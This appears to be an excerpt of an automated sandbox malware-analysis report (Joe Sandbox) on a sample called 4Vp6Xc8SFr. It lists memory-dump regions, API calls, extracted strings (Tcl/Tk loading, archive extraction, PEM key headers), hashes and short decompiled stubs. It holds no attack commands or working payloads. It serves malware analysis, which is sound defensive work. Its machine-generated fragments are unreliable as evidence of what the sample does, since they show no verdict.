                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$LibraryLoad
                                                                                                                              • String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$LOADER: Failed to load tcl/tk libraries$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                              • API String ID: 2238633743-1453502826
                                                                                                                              • Opcode ID: a292763a8d5a77b935cdc9b9955935c5d127cb344716fe205c8c3bab3fa22d19
                                                                                                                              • Instruction ID: f2b463c7de1490def46a89682daebeacc028d11f25010ee1b5407c8b22949631
                                                                                                                              • Opcode Fuzzy Hash: a292763a8d5a77b935cdc9b9955935c5d127cb344716fe205c8c3bab3fa22d19
                                                                                                                              • Instruction Fuzzy Hash: B9E1D9A4A19B0388FE1BAB14A85017CE3A5BF65754FD864B7CC0E46396EF7CA524C330
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFDA13F10 Relevance: 49.7, APIs: 19, Strings: 14, Instructions: 223stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA13F61
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA13F78
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA13F8F
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA13FC2
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA1400B
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA1403F
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA14091
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA140A4
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA140BB
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA140CE
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA140E5
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA140F8
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA1410F
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA14122
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA14135
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA14148
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA1415B
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA141A7
                                                                                                                              • strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00007FFCFDA14B53,?,?,?,?,?,?,?,?,00007FFCFDA12B8B), ref: 00007FFCFDA141D2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strcmp
                                                                                                                              • String ID: ANY PRIVATE KEY$CERTIFICATE$CERTIFICATE REQUEST$CMS$DH PARAMETERS$ENCRYPTED PRIVATE KEY$NEW CERTIFICATE REQUEST$PARAMETERS$PKCS #7 SIGNED DATA$PKCS7$PRIVATE KEY$TRUSTED CERTIFICATE$X509 CERTIFICATE$X9.42 DH PARAMETERS
                                                                                                                              • API String ID: 1004003707-1119032718
                                                                                                                              • Opcode ID: 53791607f956101f911f03bce5df1fcc48f1ca8588c3d50ca4fb3c9ab6ede07a
                                                                                                                              • Instruction ID: 0d5eb8eab7274291b78bf6278cfaf5f890bafc808a4c22d3ff4d71fc92667c30
                                                                                                                              • Opcode Fuzzy Hash: 53791607f956101f911f03bce5df1fcc48f1ca8588c3d50ca4fb3c9ab6ede07a
                                                                                                                              • Instruction Fuzzy Hash: D691D211A0CB7F90FF545B299630278E6919F65BD0F8A2230DD3E462C6FE6CE441CAB4
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD861B77 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 204stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strspn$strncmp
                                                                                                                              • String ID: $ $ ,$..\s\crypto\pem\pem_lib.c$DEK-Info:$ENCRYPTED$Proc-Type:
                                                                                                                              • API String ID: 1384302209-3505811795
                                                                                                                              • Opcode ID: 398b3682302abd1cc3d8a4816504ce7b5e9254469f9c734eb94c0a305c6e8597
                                                                                                                              • Instruction ID: 1bca3b9e9b56f823aa1a0909c3d574adaef9e7f64a8b4867eda4f17e62211bfc
                                                                                                                              • Opcode Fuzzy Hash: 398b3682302abd1cc3d8a4816504ce7b5e9254469f9c734eb94c0a305c6e8597
                                                                                                                              • Instruction Fuzzy Hash: B991A061A0C97B86F715AF11E4601B9BB60AF05B84F814031DA6D43AD2FF2CE54ACBF4
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD741150 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 188COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Unicode_$Equal$Arg_Ready$ArgumentCheckMallocMem_PositionalSubtypeType_
                                                                                                                              • String ID: argument 1$argument 2$invalid normalization form$normalize$str
                                                                                                                              • API String ID: 3079088272-4140678229
                                                                                                                              • Opcode ID: b63d4111027b7d17c78fc4b47aaa094f50196fe0255e735cc8f8d6f37343e932
                                                                                                                              • Instruction ID: cefe3e2f1be260d5d0f306ed315a9493a6f904417fdf9480a40ed6aae12578a6
                                                                                                                              • Opcode Fuzzy Hash: b63d4111027b7d17c78fc4b47aaa094f50196fe0255e735cc8f8d6f37343e932
                                                                                                                              • Instruction Fuzzy Hash: 83817022B0CD6AC2E7569B11957427A9391AB47BC6F444132CD6E8B7D9EF2CE405C3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8D1440(void* __rcx, void* __rdx) {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t5;
				void* _t9;
				void* _t10;

				_t1 = E00007FF77FF7DA8D6700(_t2, _t3, _t5, __rcx, _t9, _t10);
				if (_t1 != 0xffffffff) goto 0xda8d1462;
				return _t1;
			}









                                                                                                                              0x7ff7da8d144f
                                                                                                                              0x7ff7da8d1457
                                                                                                                              0x7ff7da8d1461

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                              • API String ID: 0-666925554
                                                                                                                              • Opcode ID: 7c7598d907cee43c6658e5eb2dfbf4729ddd728a7e7388d800a6779307cb86a5
                                                                                                                              • Instruction ID: f6d685693745667565604d7d7fa85439620feabb7355ab393b37040e73eb1ef2
                                                                                                                              • Opcode Fuzzy Hash: 7c7598d907cee43c6658e5eb2dfbf4729ddd728a7e7388d800a6779307cb86a5
                                                                                                                              • Instruction Fuzzy Hash: BE518A61B0864389FE12BB11E4006BDE361BF55BA4FC849B3DE1D476D7EE2CE5658320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7810 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
                                                                                                                              • String ID: D:(A;;FA;;;%s)$S-1-3-4
                                                                                                                              • API String ID: 4998090-2855260032
                                                                                                                              • Opcode ID: d0c6fb5d8e54c5899a9c51486ee6963a26b33c11755b1a587f1fa762aeef9303
                                                                                                                              • Instruction ID: d8a93cd9a32f860a230678db6524784bf4b175b6c7ca4aa4eb55c35e39090a53
                                                                                                                              • Opcode Fuzzy Hash: d0c6fb5d8e54c5899a9c51486ee6963a26b33c11755b1a587f1fa762aeef9303
                                                                                                                              • Instruction Fuzzy Hash: 45417131A1868386FA11AF10E4446AEF360FB847A4FC40672EE5E47696DF3CE559C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD742560 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Module_$Dealloc$ObjectObject_$Capsule_ConstantFromMallocMem_SpecStringTrackTypeType_
                                                                                                                              • String ID: 13.0.0$_ucnhash_CAPI$ucd_3_2_0$unidata_version
                                                                                                                              • API String ID: 288921926-2302946913
                                                                                                                              • Opcode ID: 62d4d3cd799c6d8f812ed8f617823c366c006b3cb356fa84011d219d302020c9
                                                                                                                              • Instruction ID: ece9fc0a1c08607649323707bf24e84b81b571e692a53376c37dc68c58c7ad30
                                                                                                                              • Opcode Fuzzy Hash: 62d4d3cd799c6d8f812ed8f617823c366c006b3cb356fa84011d219d302020c9
                                                                                                                              • Instruction Fuzzy Hash: 23214320A0CE2AC1F7165B2199301B992A16F4BBD7B044032D92E4EADDFF2DE015C3B1
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                              • String ID: P%
                                                                                                                              • API String ID: 2147705588-2959514604
                                                                                                                              • Opcode ID: fb783cecea5857337ba39d7124ac847fd36298f9395065b285019c6a8496f5b4
                                                                                                                              • Instruction ID: a6a84a6cd2b555526f19eabae1f6dcb3cf9e0259ba094f8f78632e3960c0bb38
                                                                                                                              • Opcode Fuzzy Hash: fb783cecea5857337ba39d7124ac847fd36298f9395065b285019c6a8496f5b4
                                                                                                                              • Instruction Fuzzy Hash: B551E7266047A286E624AF26A4581BEF7A1F798B61F404126EFCE43685DF3CD055DB10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744790 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 101COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_Unicode_$ArgumentCheckDigitErr_FromLongLong_PositionalReadyString
                                                                                                                              • String ID: a unicode character$argument 1$digit$not a digit
                                                                                                                              • API String ID: 2437920334-4278345224
                                                                                                                              • Opcode ID: b820c1ba8c6851b758e757bda2ac652b098334cf85ab0b0fcac95edf73979230
                                                                                                                              • Instruction ID: 6f7c8530d37a081c69430b1ec6efe0d34fc644a9717d1cd218ff65807a3dcf71
                                                                                                                              • Opcode Fuzzy Hash: b820c1ba8c6851b758e757bda2ac652b098334cf85ab0b0fcac95edf73979230
                                                                                                                              • Instruction Fuzzy Hash: 1F41B621B08A7AC1EB514B16D46027DA355AB42B8AF548433CA2D4B6DCFF7DE846D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7427C0 Relevance: 16.7, APIs: 11, Instructions: 230COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FFC7FFCFD7427C0(void* __edx) {
				void* _t5;

				_t5 = __edx;
				if (_t5 == 0) goto 0xfd742801;
				if (_t5 == 0) goto 0xfd7427f5;
				if (_t5 == 0) goto 0xfd7427e8;
				if (__edx == 1) goto 0xfd7427e1;
				return 1;
			}




                                                                                                                              0x7ffcfd7427c4
                                                                                                                              0x7ffcfd7427c6
                                                                                                                              0x7ffcfd7427cb
                                                                                                                              0x7ffcfd7427d0
                                                                                                                              0x7ffcfd7427d5
                                                                                                                              0x7ffcfd7427e0

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
